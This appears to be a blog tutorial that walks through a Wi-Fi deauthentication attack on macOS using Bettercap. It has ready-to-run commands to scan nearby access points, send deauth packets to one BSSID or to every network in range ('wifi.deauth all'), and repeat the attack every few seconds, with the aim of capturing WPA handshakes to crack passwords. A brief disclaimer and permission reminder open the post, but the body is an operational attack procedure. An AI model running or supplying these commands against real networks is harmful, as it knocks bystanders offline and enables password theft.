Hacking. Wi-Fi Deauthentification attack on MacOS

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Disclaimer: this post for education purposes only.

Probably all Apple computers with wireless cards are capable to use monitoring and de-authentication mode. Please note that de-authentication it’s the same as a denial of service. It’s illegal in many places and you might get in trouble. So, make sure you have permission to do so.

Also, there is a native command-line tool, airport (and this guide how to capture WPA with it).

In this write-up, I will focus on capturing WPA handshakes with MacBook and Bettercap.


You need the Homebrew package manager installed. If you don’t have it, use the one-liner below to install it. It will also install Xcode command line tools and all necessary dependencies. You will need to enter your administrator password and it will take up to 5 minutes:

/usr/bin/ruby -e "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/master/install)"


Once you have Homebrew you proceed with the command below to install Bettercap:

brew install bettercap


Now, we can run Bettercap to look at what is around us. Please note that as an interface adapter I am using a new MacBook Pro, which has the Wireless adapter as en0. In your case, it might be en1. Check yours here 🍎 > About this mac > System Report > Network > Wi-Fi):

  1. Disassociate a network
    sudo airport -z
  2. Run bettercap
    sudo bettercap -iface en0
  3. Start discovering Access Points around you
    wifi.recon on

    After that you will sniff all traffic tranmitting around you: bettercap-monitor

  4. To see access points around you use the following command


  5. Now, let’s send deauthentication packets to networks. wifi.deauth starts sending deauth packets to the specified (BSSID) of the access point.

    Open networks which aren’t protected by a passphrase.

    set wifi.deauth.open true
    wifi.deauth all

    Or deauth only one Access Point with 11:11:11:11:11:11 BSSID

    wifi.deauth 11:11:11:11:11:11

    You can also to opt the broadcast to address FF:FF:FF:FF:FF:FF.

    To repeat it every 3 seconds run this

    set ticker.period 3
    set ticker.commands wifi.deauth 11:11:11:11:11:11
    ticker on


    A client has reauthenticated after being deauthenticated by bettercap and a handshake can be captured to hack password or smth.else.


Bettercap has many more functionalities that can be used in a network attack, monitoring, or testing process. These include password sniffer, fake access point creation, handshake capture, Wi-Fi networks monitoring, bettercap webserver, DNS spoofer, transparent HTTP proxy, TCP proxy, logging, and many more. In this article I would show the one aspect of the tool - deauthenticate clients from AP.

If you have any questions on any of the modules that bettercap offers I suggest you visit bettercap.org and read the documentation.

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